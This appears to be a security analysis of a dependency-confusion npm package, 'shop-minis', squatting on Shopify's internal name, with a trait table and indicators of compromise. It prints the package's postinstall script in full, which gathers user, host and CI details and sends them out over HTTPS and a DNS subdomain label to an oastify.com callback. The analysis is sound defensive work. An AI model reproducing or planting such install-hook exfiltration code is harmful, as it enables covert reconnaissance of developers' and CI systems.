Shopify ships Shop Minis, whose private packages live behind @shopify/. The public, unscoped name shop-minis is the kind of bare string a build script resolves to npmjs.org when an internal proxy misses. Earlier today lobo_hunt <practiceextraone@gmail.com> registered exactly that name, pushed straight to 2.0.5, and self-identified bluntly:
- Description:
Security research canary — shopify - Readme (whole file):
Takeover By lobo
The entire payload runs from postinstall:
const CALLBACK_HOST = 'svr57aylqme3zald4p0psi1hw827q1eq.oastify.com';
const payload = {
whoami: get('whoami'),
id: get('id'),
hostname: os.hostname(),
platform: os.platform(),
cwd: process.cwd(),
ci: process.env.CI || '',
github: process.env.GITHUB_REPOSITORY || '',
node_env: process.env.NODE_ENV || '',
};
const path = '/shopify?' + new URLSearchParams(payload).toString();
https.get({ host: CALLBACK_HOST, path, timeout: 5000 }, () => {}).on('error', () => {});
require('dns').lookup(`${payload.whoami}.${CALLBACK_HOST}`, () => {});
oastify.com is PortSwigger's Burp Collaborator, polling for any HTTP, DNS, or SMTP interaction against that random subdomain. The two channels are deliberate: the HTTPS GET carries the structured payload, and the DNS lookup leaks whoami as the leftmost label, so a strict egress allowlist that blocks outbound HTTPS still surfaces it to the resolver — and the /shopify path makes the target explicit, anything that detonates this resolved the bare name against the public registry. The lobo_hunt publisher, the Burp Collaborator instance, and the "Takeover By lobo" readme read as bug-bounty research, a different cluster from the web-dotenv campaign earlier today, but the recipe lands the same either way.
Traits observed
| Trait | What it caught | |
|---|---|---|
objectives/supply-chain/dependency-confusion/namespace-squat |
Public unscoped shop-minis shadowing Shopify's internal Shop Minis package |
|
objectives/supply-chain/recon-exfil/install-hook |
postinstall fires node postinstall.js and exfils on every install |
|
objectives/supply-chain/recon-exfil/pipeline |
Collects CI and GITHUB_REPOSITORY from the runner's environment |
|
objectives/exfiltration/covert-channel/dns/subdomain-label |
dns.lookup(\${whoami}. |
|
objectives/command-and-control/infrastructure/burp-collaborator |
C2 host is a Burp Collaborator subdomain on oastify.com |
|
objectives/exfiltration/sensitive-data/javascript/js-system-info-exfiltration |
whoami, id, hostname, platform, cwd shipped as URL params |
|
objectives/discovery/system/fingerprint/runtime |
whoami / id via execSync plus os.hostname(), os.platform() |
|
metadata/package/fields/bin |
Declared bin: discovery-build alongside the postinstall trigger |
|
objectives/supply-chain/metadata-anomaly/package/npm |
Self-described "Security research canary — shopify", one-line Takeover By lobo readme, no repository URL |
Indicators
| Type | Value |
|---|---|
| Package | shop-minis@2.0.5 (npm) |
| npm page | npmjs.com/package/shop-minis |
| Published | 2026-05-26T12:06:21Z |
| Tarball SHA-256 | 4be8db89785114ce9919d6d822f8363725890fa6cc2fa567a5fd73ee72854016 |
Tarball SHA-1 (npm shasum) |
f556b4533e1bcc01f0a1bc5f7af50eba85ad4303 |
postinstall.js SHA-256 |
7fc4ea8b86c27e4111b2dc03ad327de9dc80ee686f0443edc0171645f46f6bbb |
| HTTPS exfil | https://svr57aylqme3zald4p0psi1hw827q1eq.oastify.com/shopify?… |
| DNS exfil | <whoami>.svr57aylqme3zald4p0psi1hw827q1eq.oastify.com |
| Publisher | lobo_hunt <practiceextraone@gmail.com> |